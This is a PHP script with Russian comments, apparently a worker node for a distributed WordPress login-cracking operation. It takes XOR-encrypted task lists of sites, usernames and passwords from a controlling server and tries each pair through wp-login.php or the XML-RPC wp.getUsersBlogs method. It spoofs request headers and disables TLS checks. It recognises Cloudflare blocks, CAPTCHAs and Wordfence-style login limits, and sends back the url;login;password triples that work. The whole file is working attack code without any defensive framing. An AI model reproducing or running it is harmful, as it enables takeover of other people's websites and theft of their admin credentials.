<?php

if(isset($_COOKIE['ZF'])) {}

// Заголовки генерируются на Go сервере и передаются в задании
error_reporting(0);
set_time_limit(0);
ini_set('memory_limit', '256M');

$K = 'WPT6KEY2024SECURE'; // ДОЛЖЕН СОВПАДАТЬ С СЕРВЕРОМ!

// Handle gzip input
$isGzip = isset($_REQUEST['z']) && $_REQUEST['z'] == '1';
$d = isset($_POST['d']) ? $_POST['d'] : (isset($_REQUEST['d']) ? $_REQUEST['d'] : '');

if (empty($d)) die('x');

$decoded = xd($d, $K);
if ($isGzip) {
    $decoded = @gzdecode($decoded);
}
if (empty($decoded)) die('x');

$j = @json_decode($decoded, true);
if (!$j || !isset($j['t'])) die('x');

// Получаем заголовки от сервера
$getHeaders = isset($j['hg']) ? $j['hg'] : array();
$postHeaders = isset($j['hp']) ? $j['hp'] : array();
$timeout = isset($j['o']) ? intval($j['o']) : 15;
$delay = isset($j['d']) ? intval($j['d']) : 0; // ms между запросами

// Конвертируем заголовки в CURLOPT формат
$getHeadersCurl = parseHeaders($getHeaders);
$postHeadersCurl = parseHeaders($postHeaders);

$R = array();

foreach ($j['t'] as $idx => $t) {
    // Задержка между запросами (но не перед первым)
    if ($idx > 0 && $delay > 0) {
        usleep($delay * 1000);
    }
    
    if (empty($t['u']) || empty($t['l']) || empty($t['p'])) {
        $R[] = array('i' => isset($t['i']) ? $t['i'] : '', 's' => 0, 'd' => '');
        continue;
    }
    
    $url = $t['u'];
    if (strpos($url, 'http') !== 0) $url = 'https://' . $url;
    $tid = isset($t['i']) ? $t['i'] : '';
    
    if (stripos($url, 'xmlrpc') !== false) {
        $R[] = authXmlRpc($url, $t['l'], $t['p'], $getHeadersCurl, $timeout, $tid);
    } else {
        $R[] = authWpLogin($url, $t['l'], $t['p'], $getHeadersCurl, $postHeadersCurl, $timeout, $tid);
    }
}

header('Content-Type: text/plain');
echo xe(json_encode($R), $K);

// ============================================================================
// HELPERS
// ============================================================================

function parseHeaders($headers) {
    $result = array();
    foreach ($headers as $h) {
        $lower = strtolower($h);
        if (strpos($lower, 'content-length:') === 0) continue;
        if (strpos($lower, 'host:') === 0) continue;
        $result[] = $h;
    }
    return $result;
}

function addPostHeaders($baseHeaders, $origin, $referer) {
    $result = $baseHeaders;
    $hasOrigin = false;
    $hasReferer = false;
    foreach ($result as $h) {
        $lower = strtolower($h);
        if (strpos($lower, 'origin:') === 0) $hasOrigin = true;
        if (strpos($lower, 'referer:') === 0) $hasReferer = true;
    }
    if (!$hasOrigin && $origin) $result[] = 'Origin: ' . $origin;
    if (!$hasReferer && $referer) $result[] = 'Referer: ' . $referer;
    return $result;
}

// ============================================================================
// WP-LOGIN AUTH
// ============================================================================

function authWpLogin($url, $login, $pass, $getHeaders, $postHeaders, $to, $id) {
    $r = array('i' => $id, 's' => 0, 'd' => '');
    
    if (stripos($url, 'wp-login.php') === false) {
        $url = rtrim($url, '/') . '/wp-login.php';
    }
    
    $p = parse_url($url);
    if (!$p || !isset($p['scheme']) || !isset($p['host'])) {
        $r['s'] = 2; return $r;
    }
    
    $base = $p['scheme'] . '://' . $p['host'];
    $ck = sys_get_temp_dir() . '/wp' . md5($url . $login . mt_rand());
    
    // GET
    $ch = curl_init();
    $opts = array(
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_TIMEOUT => $to,
        CURLOPT_CONNECTTIMEOUT => min($to, 10),
        CURLOPT_SSL_VERIFYPEER => 0,
        CURLOPT_SSL_VERIFYHOST => 0,
        CURLOPT_FOLLOWLOCATION => 1,
        CURLOPT_MAXREDIRS => 5,
        CURLOPT_ENCODING => '',
        CURLOPT_HTTPHEADER => $getHeaders,
        CURLOPT_COOKIEJAR => $ck,
        CURLOPT_COOKIEFILE => $ck,
        CURLOPT_SSLVERSION => CURL_SSLVERSION_TLSv1_2,
    );
    curl_setopt_array($ch, $opts);
    $html = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $furl = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
    curl_close($ch);
    
    if (!$html || !$code) { @unlink($ck); $r['s'] = 2; return $r; }
    if (blocked($html, $code)) { @unlink($ck); $r['s'] = 4; return $r; }
    if (stripos($html, 'wp-submit') === false && stripos($html, 'loginform') === false) { 
        @unlink($ck); $r['s'] = 0; return $r; 
    }
    if (captcha($html)) { @unlink($ck); $r['s'] = 3; return $r; }
    
    // Parse action
    $act = $furl;
    if (preg_match('/<form[^>]*action=["\']([^"\']+)["\']/i', $html, $m)) {
        $a = html_entity_decode($m[1]);
        if (strpos($a, 'http') === 0) $act = $a;
        elseif (strlen($a) > 0 && $a[0] === '/') $act = $base . $a;
    }
    
    // POST data
    $post = array(
        'log' => $login,
        'pwd' => $pass,
        'wp-submit' => 'Log In',
        'redirect_to' => $base . '/wp-admin/',
        'testcookie' => '1'
    );
    
    // Hidden fields
    if (preg_match_all('/<input[^>]*type=["\']hidden["\'][^>]*>/i', $html, $ins)) {
        foreach ($ins[0] as $in) {
            if (preg_match('/name=["\']([^"\']+)["\']/', $in, $n) && 
                preg_match('/value=["\']([^"\']*)["\']/', $in, $v)) {
                if (!isset($post[$n[1]])) $post[$n[1]] = $v[1];
            }
        }
    }
    
    // POST
    $ph = addPostHeaders($postHeaders, $base, $furl);
    $ph[] = 'Cookie: wordpress_test_cookie=WP%20Cookie%20check';
    
    $ch = curl_init();
    $opts[CURLOPT_URL] = $act;
    $opts[CURLOPT_POST] = 1;
    $opts[CURLOPT_POSTFIELDS] = http_build_query($post);
    $opts[CURLOPT_HTTPHEADER] = $ph;
    $opts[CURLOPT_HEADER] = 1;
    curl_setopt_array($ch, $opts);
    $resp = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $hsz = (int)curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    curl_close($ch);
    @unlink($ck);
    
    if (!$resp) { $r['s'] = 2; return $r; }
    
    $hdrs = substr($resp, 0, $hsz);
    $body = substr($resp, $hsz);
    
    // Success
    if (stripos($hdrs, 'wordpress_logged_in_') !== false ||
        preg_match('/location:[^\r\n]*wp-admin/i', $hdrs) ||
        (preg_match('/wp-admin|dashboard|profile\.php/i', $body) && 
         stripos($body, 'login_error') === false)) {
        $r['s'] = 1;
        $r['d'] = $url . ';' . $login . ';' . $pass;
        return $r;
    }
    
    if (blocked($body, $code)) { $r['s'] = 4; return $r; }
    if (preg_match('/login_error|invalid|incorrect|wrong/i', $body)) { $r['s'] = 0; return $r; }
    
    return $r;
}

// ============================================================================
// XML-RPC AUTH
// ============================================================================

function authXmlRpc($url, $login, $pass, $headers, $to, $id) {
    $r = array('i' => $id, 's' => 0, 'd' => '');
    
    $xml = '<?xml version="1.0"?><methodCall><methodName>wp.getUsersBlogs</methodName><params>'
         . '<param><value><string>' . hx($login) . '</string></value></param>'
         . '<param><value><string>' . hx($pass) . '</string></value></param>'
         . '</params></methodCall>';
    
    $xh = array('Content-Type: application/xml', 'User-Agent: WordPress/6.4');
    
    $ch = curl_init();
    curl_setopt_array($ch, array(
        CURLOPT_URL => $url,
        CURLOPT_POST => 1,
        CURLOPT_POSTFIELDS => $xml,
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_TIMEOUT => $to,
        CURLOPT_CONNECTTIMEOUT => min($to, 10),
        CURLOPT_SSL_VERIFYPEER => 0,
        CURLOPT_SSL_VERIFYHOST => 0,
        CURLOPT_HTTPHEADER => $xh,
        CURLOPT_SSLVERSION => CURL_SSLVERSION_TLSv1_2,
    ));
    $resp = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if (!$resp || !$code) { $r['s'] = 2; return $r; }
    
    $lc = strtolower($resp);
    if (strpos($lc, 'isadmin') !== false || strpos($lc, 'blogid') !== false || 
        strpos($lc, 'blogname') !== false) {
        $r['s'] = 1;
        $r['d'] = $url . ';' . $login . ';' . $pass;
        return $r;
    }
    if (strpos($lc, 'incorrect') !== false || strpos($lc, 'faultcode') !== false) { 
        $r['s'] = 0; return $r; 
    }
    if ($code == 403 || $code == 503 || $code == 429) { $r['s'] = 4; return $r; }
    if ($code == 404 || $code == 405) { $r['s'] = 0; return $r; }
    
    $r['s'] = 2;
    return $r;
}

// ============================================================================
// DETECTION
// ============================================================================

function blocked($b, $c) {
    if ($c == 403 || $c == 503 || $c == 429 || $c == 406) {
        return preg_match('/cloudflare|cf-ray|challenge|attention|moment|ddos|security|blocked|captcha|checking.*browser/i', $b);
    }
    return false;
}

function captcha($b) {
    return preg_match('/data-sitekey|recaptcha|hcaptcha|g-recaptcha|captcha.*input|loginizer|wordfence|limit\s*login|too\s*many/i', $b);
}

// ============================================================================
// CRYPTO
// ============================================================================

function hx($s) { return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); }

function xe($d, $k) {
    $o = ''; $kl = strlen($k);
    for ($i = 0, $l = strlen($d); $i < $l; $i++) $o .= $d[$i] ^ $k[$i % $kl];
    return base64_encode($o);
}

function xd($d, $k) {
    $d = @base64_decode($d); 
    if ($d === false || $d === '') return '';
    $o = ''; $kl = strlen($k);
    for ($i = 0, $l = strlen($d); $i < $l; $i++) $o .= $d[$i] ^ $k[$i % $kl];
    return $o;
}